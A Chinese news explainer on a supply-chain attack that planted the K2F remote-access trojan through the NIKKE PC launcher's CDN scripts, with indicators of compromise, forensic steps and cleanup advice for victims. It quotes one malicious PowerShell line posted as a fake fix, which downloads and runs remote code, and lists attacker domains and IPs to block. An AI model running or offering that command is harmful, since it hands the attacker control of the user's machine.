“我玩这么多年学习版都没中招,结果在这儿等着我呢”——11月初NIKKE玩家评论区这句吐槽,不是段子。哔哩哔哩
《胜利女神:NIKKE》国际服的Windows PC启动器遭供应链投毒。黑客没碰下载站,直接改了发行商Level Infinite官方CDN上的4个JavaScript文件,你双击的是正版图标、跑的是官方程序,拉下来的却是远控木马K2F。知乎微博
从被改到修好,隔了38天
9月27日10:59(UTC+9):`insightjs.com`域名被第三方劫持;同日15:41,官方CDN上4个JS文件被植入恶意代码
10月30日03:52:官方口径,被改脚本开始下发恶意程序。独立分析认为最晚10月23日就已具备条件,两个口径至今没对齐
11月4日:凌晨02:30推送客户端修复,12:09完成最后一个文件的CDN缓存更新
11月5日08:00:官方客户端上线自动检测+清除功能
补偿:全球玩家20抽。4Gamers
Shift Up的CEO金亨泰在事件首日亲自道歉,腾讯旗下负责全球发行的Level Infinite随后公开了事件调查报告。4Gamers
玩家对补偿基本不买账:有人看到消息先自查了一遍,转头去买U盘备份系统、准备随时重装。Level Infinite给出的补救承诺是强化安全监控、给启动器外部资源建立完整性验证系统、按最小权限原则重构,并受理玩家因盗号或资金损失提出的申诉。微博4Gamers
它不只是偷游戏号
K2F不是跑完一套固定偷窃脚本就走,它挂在启动器进程里等服务器发指令:任意命令执行、下载本地文件、多屏截图、读Chrome/Edge/Firefox保存的密码与Cookie、扫264个常见凭证路径、读凭据管理器里git/npm/aws等开发者条目、抓28种加密钱包插件数据。知乎GitHub
启动器还常常缩在托盘里陪你打游戏——有受害者9小时内被回连22次。GitHub
只有加载这些脚本的国际服Windows PC启动器会中招,手机版官方明确未受影响。用Proton在Linux/Steam Deck上跑的也别侥幸:Wine把家目录映射成盘符、环境变量全交给进程,`~/.ssh`和浏览器配置一样暴露。知乎哔哩哔哩GitHub
先取证,再清理
11月5日起,官方客户端启动时会自动检测并(经你同意后)删除相关日志、DLL和注册表项。独立研究者MotherSphere提醒了一个坑:有台机器上,更新后的启动器没问就把`Launcherintl_servicedebug.log`删了——那正是判断你有没有中招的关键证据。Malwarebytes如今会把`tbs_cache`里的痕迹报成`Trojan.Loader.K2F`,一键清理同样是在销毁证据。哔哩哔哩GitHub
正确顺序:
先别开启动器、也别急着杀毒:把`Launcherintl_servicedebug.log`、`Launcherlog`文件夹、`%APPDATA%nikke_launchertbs_cache`复制留存(HMT版目录是`nikke_launcher_hmt`,Google Play Games版是`nikke_launcher_google`)。
搜日志:在debug.log里搜`k2f_chan`。出现`k2f_chan registered`就说明远控代理在你机器上跑过,后面`adopted`、`agent started as`缺失也算。知乎
查持久化:注册表`HKCUSoftwareClassesCLSID{E77CC89B-7401-4C04-8CED-149DB35ADD04}`(只有HKCU这条是恶意的,HKLM下同名的属系统自带,别动);以及`%LOCALAPPDATA%GoogleChromeUser DataPlatformExperienceHelper`里那个64位十六进制命名、内含`platform_experience_helper.dll`的子文件夹(PlatformExperienceHelper本身是Chrome正常目录,别一锅端)。GitHub
确认真中招,按这条链走:断网或关掉启动器 → 删注册表项 → 重启(DLL被任何进程加载着都删不掉,有机器上Steam、Jagex启动器都加载了它)→ 删掉那个64位子文件夹和`Launcherlogtinyget`里约200KB的`tinyget.*.log` → 删`tbs_cache` → 换一台干净设备改密码、登出所有会话(Cookie不用密码就能登)、吊销并重发API token与SSH key、钱包资产转到全新助记词的钱包 → Defender完整扫描加离线扫描。4Gamers
扫不出来不等于没事:有机器上Defender离线扫描就没报这个DLL。最稳的仍是重装系统——代理活着的时候,对方能执行你权限内的任意命令。GitHub微博
顺手躲开二次投毒
11月5日,那份独立分析报告的评论区有人贴了条"修复命令":`iex (irm kernelscv[.]cfd?t=nikke)`,让你粘进管理员PowerShell。这个域名10月23日才注册,跟本次攻击的基础设施毫无关系。真跑了,按系统已沦陷处理,直接重装。这次事件里所有正经修复步骤,都不需要你执行陌生人给的`iex`。GitHub
顺手继续拉黑:`insightjs.com`、`analytics.insightjs.com`、`insightjs.org`、`89.127.233.127`、`89.126.250.172`。前者已被注册局暂停解析,但暂停可以解除。用Clash、mihomo这类TUN模式代理的要注意:解析和连接都由代理自己发起,路由器DNS和防火墙IP规则可能都不生效,得在代理配置里另加reject规则。GitHub
还没答案的部分
攻击者怎么拿到CDN写权限、实际感染人数、是否有资产被盗,都还没有公开数字。MotherSphere的报告到11月8日仍在更新,基于一台感染机实测加其他受害者补充,载荷只做了静态分析、没有运行。知乎GitHub
对不玩NIKKE的人,这事的价值在别处:你的游戏启动器是全电脑权限最大、还常驻托盘的软件之一,它加载的远程脚本你既看不见也管不着。这次是CDN被改,下次可能换成别的环节。密码别复用、开发者凭证单独放、钱包别搁在天天打游戏的那台机器上——这些老话,这回全变成了实操。